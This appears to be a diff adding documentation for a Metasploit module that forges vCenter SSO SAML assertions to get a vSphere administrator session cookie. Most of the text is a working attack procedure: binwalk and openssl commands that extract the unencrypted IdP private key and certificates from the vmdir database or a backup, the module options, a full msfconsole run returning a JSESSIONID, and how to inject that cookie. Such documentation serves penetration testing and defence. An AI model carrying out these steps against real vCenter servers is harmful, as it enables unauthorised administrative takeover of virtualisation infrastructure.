|
| 1 | +This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, |
| 2 | +IdP private key, and VMCA root certificate as input objects; you must also provide the vCenter SSO |
| 3 | +domain name and vCenter FQDN. Successful execution returns a session cookie for the `/ui` path that |
| 4 | +grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be |
| 5 | +retrieved using Metasploit vCenter post-exploitation modules, or extracted manually from the vmdir |
| 6 | +database file at `/storage/db/vmware-vmdir/data.mdb` using `binwalk`. This module is largely based |
| 7 | +on information published by Zach Hanley at Horizon3: |
| 8 | + |
| 9 | +https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/ |
| 10 | + |
| 11 | +## Vulnerable Application |
| 12 | +This module is tested against the vCenter appliance but will probably work against Windows instances. |
| 13 | +It has been tested against vCenter appliance versions 6.5, 6.7, and 7.0, and will work on vCenter 7.0 |
| 14 | +Update 3 which introduced additional validation mechanisms to the SSO login process (RelayState). It |
| 15 | +will probably work against other versions of vCenter appliance down to vCenter 6.0 but has not been |
| 16 | +tested at versions below 6.5. |
| 17 | + |
| 18 | +## Verification Steps |
| 19 | +This module must be executed while the target vCenter server is reachable over the network. You must |
| 20 | +already possess the SSO IdP certificate and key, and the VMCA certificate. These can be acquired by |
| 21 | +using a Metasploit vCenter post-exploitation module (with access to a live system with root creds) |
| 22 | +or by extracting the data manually from the vmdir database file using binwalk (with access to a |
| 23 | +vCenter backup). By default, the target domain `vsphere.local` and target username `administrator` |
| 24 | +are used; the target domain may be different depending on the scenario and should be adjusted |
| 25 | +accordingly. |
| 26 | + |
| 27 | +1. Acquire the vCenter IdP certificate and private key, and VMCA certificate (see below) |
| 28 | +2. Start msfconsole |
| 29 | +3. Do: `use auxiliary/admin/vmware/vcenter_forge_saml_token.rb` |
| 30 | +4. Do: `set rhosts <vCenter appliance IPv4 or FQDN>` |
| 31 | +5. Do: `set vc_fqdn <vCenter appliance FQDN>` |
| 32 | +6. Do: `set vc_idp_cert <path to IdP cert>` |
| 33 | +7. Do: `set vc_idp_key <path to IdP key>` |
| 34 | +8. Do: `set vc_vmca_cert <path to VMCA cert>` |
| 35 | +9. Verify that the values for `domain` and `username` are sane |
| 36 | +10. Do: `run` |
| 37 | +11. Open a web browser and navigate to the vCenter admin UI for the target server (`https://<fqdn>/ui`) |
| 38 | +12. Apply the acquired session cookie for the vCenter host at the `/ui` path |
| 39 | + |
| 40 | +## Options |
| 41 | +**DOMAIN** |
| 42 | + |
| 43 | +The vSphere SSO domain. By default this is `vsphere.local`. |
| 44 | + |
| 45 | +**USERNAME** |
| 46 | + |
| 47 | +The target user within the SSO domain. This must be a valid user as vCenter will happily issue |
| 48 | +SAML assertions for invalid usernames, but the provided session tokens will not function. There |
| 49 | +should be no reason to modify the target user from the default `administrator` in most scenarios. |
| 50 | + |
| 51 | +**RHOSTS** |
| 52 | + |
| 53 | +The vCenter appliance IPv4 address or DNS FQDN. This must be reachable over HTTPS for the module |
| 54 | +to function. |
| 55 | + |
| 56 | +**VC_FQDN** |
| 57 | + |
| 58 | +The fully qualified DNS name of the vCenter appliance; this must be present in the Issuer element |
| 59 | +of the assertion for the module to function. |
| 60 | + |
| 61 | +**VC_IDP_CERT** |
| 62 | + |
| 63 | +The filesystem path to the PEM-formatted vCenter SSO IdP certificate. |
| 64 | + |
| 65 | +**VC_IDP_KEY** |
| 66 | + |
| 67 | +The filesystem path to the PEM-formatted vCenter SSO IdP private key. |
| 68 | + |
| 69 | +**VC_VMCA_CERT** |
| 70 | + |
| 71 | +The filesystem path to the PEM-formatted vCenter VMCA certificate. |
| 72 | + |
| 73 | +## Scenarios |
| 74 | +### Extracting the vSphere SSO certificates |
| 75 | +The vmdir database is hosted on the appliance at `/storage/db/vmware-vmdir/data.mdb` - it is possible |
| 76 | +to extract the IdP keys from this file presuming you have root access to the appliance, or read access |
| 77 | +to a vCenter backup repository. Copy the file to the local system, and use binwalk to scan for the |
| 78 | +private key material. |
| 79 | + |
| 80 | +`binwalk --signature ./data.mdb` |
| 81 | + |
| 82 | +vSphere vmdir stores the IdP secrets without encryption within the database. There are many x509 |
| 83 | +certificates within the vmdir database but there should only be two private keys; you are looking for |
| 84 | +two x509 v3 certificates in close proximity to two PKCS#1 RSA private keys in DER format. Below is an |
| 85 | +example of the target location from a binwalk signature scan of an example vmdir database. |
| 86 | + |
| 87 | +``` |
| 88 | +[...] |
| 89 | +8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991 |
| 90 | +8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079 |
| 91 | +8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215 |
| 92 | +8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189 |
| 93 | +[...] |
| 94 | +``` |
| 95 | + |
| 96 | +The target data starts at offset `8839882` in this example. Adding the sequence lengths together we get `4474` bytes, thus: |
| 97 | + |
| 98 | +`binwalk --offset=8839882 --length=4474 --dd=".*" ./data.mdb` |
| 99 | + |
| 100 | +Will extract the target files. |
| 101 | + |
| 102 | +``` |
| 103 | +DECIMAL HEXADECIMAL DESCRIPTION |
| 104 | +-------------------------------------------------------------------------------- |
| 105 | +8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991 |
| 106 | +8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079 |
| 107 | +8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215 |
| 108 | +8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189 |
| 109 | +
|
| 110 | +$ ls -l ./_data.mdb.extracted/ |
| 111 | +total 16 |
| 112 | +-rwxrwxrwx 1 cs137 cs137 995 Apr 21 06:55 86E2CA |
| 113 | +-rwxrwxrwx 1 cs137 cs137 1083 Apr 21 06:55 86E6B0 |
| 114 | +-rwxrwxrwx 1 cs137 cs137 1219 Apr 21 06:55 86EAF2 |
| 115 | +-rwxrwxrwx 1 cs137 cs137 1193 Apr 21 06:55 86EB0C |
| 116 | +``` |
| 117 | + |
| 118 | +These should be the VMCA root certificate and SSO IdP certificate and private key. Note that vmdir appears to store two |
| 119 | +copies of the IdP private key, presumably to allow the key to be rotated if required. For a vanilla install of vCenter, |
| 120 | +both private keys will be identical. To determine which one is which, first compare the certificate CN using OpenSSL. The |
| 121 | +SSO IdP credential should have a common name of `ssoserverSign`. |
| 122 | + |
| 123 | +``` |
| 124 | +openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -noout -subject |
| 125 | +subject=CN = ssoserverSign |
| 126 | +
|
| 127 | +openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -noout -subject |
| 128 | +subject=CN = CA, DC = vsphere.local, C = US, ST = California, O = vcenter.cesium137.io, OU = VMware Engineering |
| 129 | +``` |
| 130 | + |
| 131 | +This confirms that `86E2CA` is the IdP certificate, and `86E6B0` is the VMCA certificate. Convert them |
| 132 | +to PEM format and rename them for convenience: |
| 133 | + |
| 134 | +``` |
| 135 | +openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -outform pem -out ./idp.pem |
| 136 | +openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -outform pem -out ./vmca.pem |
| 137 | +``` |
| 138 | + |
| 139 | +To associate them with their private key, first calculate the SHA-256 digest of the modulus for |
| 140 | +both certificates. |
| 141 | + |
| 142 | +``` |
| 143 | +openssl x509 -in ./idp.pem -modulus -noout | sha256sum |
| 144 | +482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 - |
| 145 | +
|
| 146 | +openssl x509 -in ./vmca.pem -modulus -noout | sha256sum |
| 147 | +432f0244896a3243f46d4a2f7322127a52b891a53b984745c286989c02862a13 - |
| 148 | +``` |
| 149 | + |
| 150 | +Compare these to the modulus component of the candidate keys to associate them with the corresponding |
| 151 | +certificate. |
| 152 | + |
| 153 | +``` |
| 154 | +openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -modulus -noout | sha256sum |
| 155 | +482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 - |
| 156 | +
|
| 157 | +openssl rsa -inform der -in ./_data.mdb.extracted/86EB0C -modulus -noout | sha256sum |
| 158 | +482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 - |
| 159 | +``` |
| 160 | + |
| 161 | +Based on this output we conclude `86EAF2` and `86EB0C` are identical, and share a modulus with the |
| 162 | +IdP certificate: either of these can be extracted. Convert the file to PEM format and rename it for |
| 163 | +convenience. |
| 164 | + |
| 165 | +``` |
| 166 | +openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -outform pem -out ./idp.key |
| 167 | +writing RSA key |
| 168 | +``` |
| 169 | + |
| 170 | +You should now have `idp.pem`, `idp.key`, and `vmca.pem` in your working directory in PEM format. |
| 171 | + |
| 172 | +### Running the Module |
| 173 | +Example run from meterpreter session on vCenter appliance version 7.0 Update 3d: |
| 174 | + |
| 175 | +``` |
| 176 | +msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb |
| 177 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110 |
| 178 | +RHOSTS => 192.168.100.110 |
| 179 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_FQDN vcenter.cesium137.io |
| 180 | +VC_FQDN => vcenter.cesium137.io |
| 181 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem |
| 182 | +VC_IDP_CERT => ~/idp.pem |
| 183 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key |
| 184 | +VC_IDP_KEY => ~/idp.key |
| 185 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem |
| 186 | +VC_VMCA_CERT => ~/vmca.pem |
| 187 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run |
| 188 | +[*] Running module against 192.168.100.110 |
| 189 | +
|
| 190 | +[+] Validated vCenter Single Sign-On IdP trusted certificate chain |
| 191 | +[*] HTTP GET => /ui/login ... |
| 192 | +[*] HTTP POST => /ui/saml/websso/sso ... |
| 193 | +[+] Got valid administrator session token! |
| 194 | +[+] JSESSIONID=61B850134A734E790AC3F2C644E2F7F0; Path=/ui |
| 195 | +[*] Auxiliary module execution completed |
| 196 | +msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > |
| 197 | +``` |
| 198 | +### Using the Session Cookie |
| 199 | +Inject the acquired session cookie using the method of your choice. The cookie name must be |
| 200 | +`JSESSIONID` with the value returned from the auxiliary module, and the path for the cookie |
| 201 | +must be set to `/ui`. |
0 commit comments